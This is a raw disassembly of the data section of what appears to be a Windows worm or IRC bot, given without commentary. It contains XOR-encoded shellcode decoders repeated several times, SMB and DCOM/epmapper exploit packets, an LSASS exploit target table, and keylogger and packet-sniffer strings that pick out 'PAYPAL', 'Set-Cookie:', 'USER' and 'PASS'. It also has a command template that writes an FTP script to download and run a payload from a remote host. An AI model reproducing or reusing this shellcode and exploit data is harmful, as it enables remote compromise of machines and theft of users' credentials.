dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h
dword_423BCC dd 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_423C04 dd 28026502h, 62302E31h, 20282029h, 6C79656Bh, 6D2E676Fh
; DATA XREF: sub_40211C+ACo
dd 6C1F641Fh, 2202920h, 2002BBBBh, 732520h
aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_40211C+86o
align 4
aAb db 'ab',0 ; DATA XREF: sub_40211C+4Eo
; sub_40CD3A+291Bo
align 4
asc_423C48: ; DATA XREF: sub_40211C+2Co
unicode 0, <\>,0
aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_4021FB+21Co
align 10h
aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4021FB+1D9o
align 4
aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4021FB+8Fo
align 8
off_423C98 dd offset dword_424510 ; DATA XREF: sub_4024D0+29Er
dd offset off_42450C
dd offset aFtp ; "FTP"
dd offset aHttp ; "HTTP"
dword_423CA8 dd 6F6C2E3Ah, 6E6967h, 3 dup(0)dword_423CBC dd 0 dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
dd 6F6C213Ah, 6E6967h, 4 dup(0)
dd 6F6C403Ah, 6E6967h, 4 dup(0)
dd 6F6C243Ah, 6E6967h, 4 dup(0)
dd 6F6C253Ah, 6E6967h, 4 dup(0)
dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
dd 6F6C263Ah, 6E6967h, 4 dup(0)
dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
dd 6F6C273Ah, 6E6967h, 4 dup(0)
dd 6F6C603Ah, 6E6967h, 4 dup(0)
dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
dd 6F6C203Ah, 6E6967h, 4 dup(0)
dd 75612E3Ah, 6874h, 4 dup(0)
dd 75612C3Ah, 6874h, 4 dup(0)
dd 7561213Ah, 6874h, 4 dup(0)
dd 7561403Ah, 6874h, 4 dup(0)
dd 7561243Ah, 6874h, 4 dup(0)
dd 7561253Ah, 6874h, 4 dup(0)
dd 75615E3Ah, 6874h, 4 dup(0)
dd 7561263Ah, 6874h, 4 dup(0)
dd 75612A3Ah, 6874h, 4 dup(0)
dd 75612D3Ah, 6874h, 4 dup(0)
dd 75612B3Ah, 6874h, 4 dup(0)
dd 75612F3Ah, 6874h, 4 dup(0)
dd 75615C3Ah, 6874h, 4 dup(0)
dd 75613D3Ah, 6874h, 4 dup(0)
dd 75613F3Ah, 6874h, 4 dup(0)
dd 7561273Ah, 6874h, 4 dup(0)
dd 7561603Ah, 6874h, 4 dup(0)
dd 75617E3Ah, 6874h, 4 dup(0)
dd 7561203Ah, 6874h, 4 dup(0)
dd 64692E3Ah, 5 dup(0)
dd 64692C3Ah, 5 dup(0)
dd 6469213Ah, 5 dup(0)
dd 6469403Ah, 5 dup(0)
dd 6469243Ah, 5 dup(0)
dd 6469253Ah, 5 dup(0)
dd 64695E3Ah, 5 dup(0)
dd 6469263Ah, 5 dup(0)
dd 64692A3Ah, 5 dup(0)
dd 64692D3Ah, 5 dup(0)
dd 64692B3Ah, 5 dup(0)
dd 64692F3Ah, 5 dup(0)
dd 64695C3Ah, 5 dup(0)
dd 64693D3Ah, 5 dup(0)
dd 64693F3Ah, 5 dup(0)
dd 6469273Ah, 5 dup(0)
dd 6469603Ah, 5 dup(0)
dd 64697E3Ah, 5 dup(0)
dd 6469203Ah, 5 dup(0)
dd 61682E3Ah, 6E696873h, 4 dup(0)
dd 6168213Ah, 6E696873h, 4 dup(0)
dd 6168243Ah, 6E696873h, 4 dup(0)
dd 6168253Ah, 6E696873h, 4 dup(0)
dd 65732E3Ah, 65727563h, 4 dup(0)
dd 6573213Ah, 65727563h, 4 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
dd 79732E3Ah, 6Eh, 4 dup(0)
dd 7973213Ah, 6Eh, 4 dup(0)
dd 7973243Ah, 6Eh, 4 dup(0)
dd 7973253Ah, 6Eh, 4 dup(0)
dd 4B444320h, 207965h, 4 dup(0)
dd 4E494F4Ah, 2320h, 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp db 'HTTP',0 ; DATA XREF: .text:00423CA4o
align 4
aFtp db 'FTP',0 ; DATA XREF: .text:00423CA0o
off_42450C dd offset aRomSDToSD_ ; DATA XREF: .text:00423C9Co
; "rom: %s:%d to: %s:%d."
dword_424510 dd 544F42h, 0 unk_424518 db 2 ; DATA XREF: sub_4024D0+2FCo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorRecvFaile db 'Error: recv() failed, returned: <%d>',0
align 10h
unk_424560 db 2 ; DATA XREF: sub_4024D0+2ABo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aSuspiciousSPac db 'Suspicious %s packet from: %s:%d - %s.',0
align 4
aPsniff db '[PSNIFF]',0 ; DATA XREF: sub_4024D0+236o
align 8
unk_4245B8 db 2 ; DATA XREF: sub_4024D0+186o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorWsaioctlF db 'Error: WSAIoctl() failed, returned: <%d>.',0
align 8
unk_424608 db 2 ; DATA XREF: sub_4024D0+103o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorBindFaile db 'Error: bind() failed, returned: <%d>.',0
align 10h
unk_424650 db 2 ; DATA XREF: sub_4024D0+85o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorSocketF_1 db 'Error: socket() failed, returned: <%d>.',0
; ---------------------------------------------------------------------------
jmp short loc_4246AA
; =============== S U B R O U T I N E =======================================
sub_42469A proc far ; CODE XREF: sub_42469A:loc_4246AAp
pop ebx
dec ebx
xor ecx, ecx
mov cx, 125h
loc_4246A2: ; CODE XREF: sub_42469A+Cj
xor byte ptr [ebx+ecx], 99h
loop loc_4246A2
jmp short loc_4246AF
; ---------------------------------------------------------------------------
loc_4246AA: ; CODE XREF: .text:00424698j
call near ptr sub_42469A
loc_4246AF: ; CODE XREF: sub_42469A+Ej
jo short loc_424713
cdq
cdq
cdq
mov ch, 38h
test eax, 12999999h
fst dword ptr [ebp+3485E912h]
adc dh, cl
xchg eax, ecx
adc ch, [esi-0Dh]
popf
sal byte ptr [ecx+2], 99h
cdq
cdq
jnp short loc_424731
icebp
stosb
stosd
cdq
cdq
icebp
out dx, al
jmp far ptr 128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
db 71h
dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
adc dl, [ebp-0Dh]
loc_424713: ; CODE XREF: sub_42469A:loc_4246AFj
mov eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
dd 7B32C08Ch
db 64h
; ---------------------------------------------------------------------------
loc_424731: ; CODE XREF: sub_42469A+35j
pop edi
fnstsw word ptr [ebp-22982277h]
mov ebp, 0BDC510A4h
rcl dword ptr [eax], 1
lds edi, [ebp-423AEF2Bh]
leave
adc al, 0DDh
mov ebp, 0C8C9CD89h
enter 0FFFFF3C8h, 98h
enter 66C8h, 0EFh
test eax, 9DCF66C8h
adc dl, [ebp-0Dh]
db 66h, 66h
test al, 66h
iret
sub_42469A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
xchg eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dw 6685h
dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h
dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------
loc_4247D8: ; DATA XREF: sub_40297A+151o
; sub_40297A+20Fo
jmp short loc_4247EA
; =============== S U B R O U T I N E =======================================
sub_4247DA proc near ; CODE XREF: sub_4247DA:loc_4247EAp
pop edx
dec edx
xor ecx, ecx
mov cx, 17Dh
loc_4247E2: ; CODE XREF: sub_4247DA+Cj
xor byte ptr [edx+ecx], 99h
loop loc_4247E2
jmp short loc_4247EF
; ---------------------------------------------------------------------------
loc_4247EA: ; CODE XREF: .text:loc_4247D8j
call sub_4247DA
loc_4247EF: ; CODE XREF: sub_4247DA+Ej
jo short near ptr dword_424768+1Eh
cwde
cdq
cdq
retn
sub_4247DA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FDh, 38h, 0A9h
dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h
dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h
dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
dd 999B9E5Eh
dword_424888 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: sub_40297A+102o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_424970 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: sub_402DD1+7Fo
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0)
dword_424A00 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_402DD1+AAo
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 10h
dword_424AB0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_402DD1+CFo
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_424B90 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40297A+58o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC: ; DATA XREF: sub_40297A+87o
unicode 0, <C$>,0
a????? db '?????',0
dd 2 dup(0)
dword_424BF8 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40297A+2B2o
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 2 dup(0)
dword_424C68 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40297A+2DDo
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_424D10 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40297A+3C5o
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_424D90 dd offset loc_401493+2 ; DATA XREF: sub_40297A+3F3o
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_407078+4
dd 1, 0
dd 1, 0
dd offset loc_407078+4
dd 1, 0
dd 1, 0
dd offset loc_407078+4
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 2 dup(0)
dword_424E28 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40297A+316o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 2 dup(0)
dword_424E98 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40297A+341o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
dword_424F10 dd 0 dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 2 dup(0)
word_424F98 dw 0AD9Dh ; DATA XREF: sub_40282F+30r
; sub_40297A+E4r
align 4
dd 2 dup(0)
aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0
align 8
dword_424FD8 dd 1004600h ; sub_40297A+242r
dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
dd 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch, 0Fh dup(0)
dword_425090 dd 0A0D7325h, 0 ; sub_4036D2+102o ...
aEchoOpenSDEqEc db 'echo open %s %d >> eq&echo user %s %s >> eq &echo get %s >> eq &e'
; DATA XREF: sub_40282F+A4o
db 'cho quit >> eq &ftp -n -s:eq &%s',0Dh,0Ah,0
; ---------------------------------------------------------------------------
loc_4250FC: ; DATA XREF: sub_40297A+172o
; sub_403833+178o
jmp short loc_425104
; ---------------------------------------------------------------------------
jmp short loc_425106
; ---------------------------------------------------------------------------
dd 0
; ---------------------------------------------------------------------------
loc_425104: ; CODE XREF: .text:loc_4250FCj
; DATA XREF: sub_40297A+27o ...
pop esp
pop esp
loc_425106: ; CODE XREF: .text:004250FEj
and eax, 70695C73h
arpl [eax+eax], sp
; ---------------------------------------------------------------------------
dw 0
dword_425110 dd 1CEC8166h ; sub_403833+Dr
dword_425114 dd 0E4FF07h ; sub_403833+16r
dword_425118 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; sub_4033B6+21Bo
dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_425168 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
; DATA XREF: sub_403166+120o
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dword_4254CC dd 20h, 0 dd 20h, 5C005Ch, 0
off_4254E0 dd offset aSubway+4 ; DATA XREF: sub_403166+15Ao
a12345611111111:
unicode 0, <$\123456111111111111111.doc>,0
align 10h
dword_425520 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx: ; DATA XREF: sub_403166+45o
unicode 0, <FXNBFXFXNBFXFXFXFX>
dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr db ''
db ''
db '',0
dword_425630 dd 18759Fh dword_425634 dd 100139Dh asc_425638: ; DATA XREF: sub_402FCD+1Co
; sub_4030B0+16o
unicode 0, <\\>,0
align 10h
aIpc: ; DATA XREF: sub_402FCD+Co
; sub_4030B0+Bo
unicode 0, <\IPC$>,0
aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_4033B6+41o
align 10h
jmp short loc_425672
; =============== S U B R O U T I N E =======================================
sub_425662 proc far ; CODE XREF: sub_425662:loc_425672p
pop ebx
dec ebx
xor ecx, ecx
mov cx, 125h
loc_42566A: ; CODE XREF: sub_425662+Cj
xor byte ptr [ebx+ecx], 99h
loop loc_42566A
jmp short loc_425677
; ---------------------------------------------------------------------------
loc_425672: ; CODE XREF: .text:00425660j
call near ptr sub_425662
loc_425677: ; CODE XREF: sub_425662+Ej
jo short loc_4256DB
cdq
cdq
cdq
mov ch, 38h
test eax, 12999999h
fst dword ptr [ebp+3485E912h]
adc dh, cl
xchg eax, ecx
adc ch, [esi-0Dh]
popf
sal byte ptr [ecx+2], 99h
cdq
cdq
jnp short loc_4256F9
icebp
stosb
stosd
cdq
cdq
icebp
out dx, al
jmp far ptr 128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
db 71h
dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
adc dl, [ebp-0Dh]
loc_4256DB: ; CODE XREF: sub_425662:loc_425677j
mov eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
dd 7B32C08Ch
db 64h
; ---------------------------------------------------------------------------
loc_4256F9: ; CODE XREF: sub_425662+35j
pop edi
fnstsw word ptr [ebp-22982277h]
mov ebp, 0BDC510A4h
rcl dword ptr [eax], 1
lds edi, [ebp-423AEF2Bh]
leave
adc al, 0DDh
mov ebp, 0C8C9CD89h
enter 0FFFFF3C8h, 98h
enter 66C8h, 0EFh
test eax, 9DCF66C8h
adc dl, [ebp-0Dh]
db 66h, 66h
test al, 66h
iret
sub_425662 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
xchg eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dw 6685h
dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h
dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------
loc_4257A0: ; DATA XREF: sub_403833+157o
; sub_403833+214o
jmp short loc_4257B2
; =============== S U B R O U T I N E =======================================
sub_4257A2 proc near ; CODE XREF: sub_4257A2:loc_4257B2p
pop edx
dec edx
xor ecx, ecx
mov cx, 17Dh
loc_4257AA: ; CODE XREF: sub_4257A2+Cj
xor byte ptr [edx+ecx], 99h
loop loc_4257AA
jmp short loc_4257B7
; ---------------------------------------------------------------------------
loc_4257B2: ; CODE XREF: .text:loc_4257A0j
call sub_4257A2
loc_4257B7: ; CODE XREF: sub_4257A2+Ej
jo short near ptr dword_425730+1Eh
cwde
cdq
cdq
retn
sub_4257A2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FDh, 38h, 0A9h
dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h
dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h
dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
dd 999B9E5Eh
dword_425850 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: sub_403833+106o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_425938 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
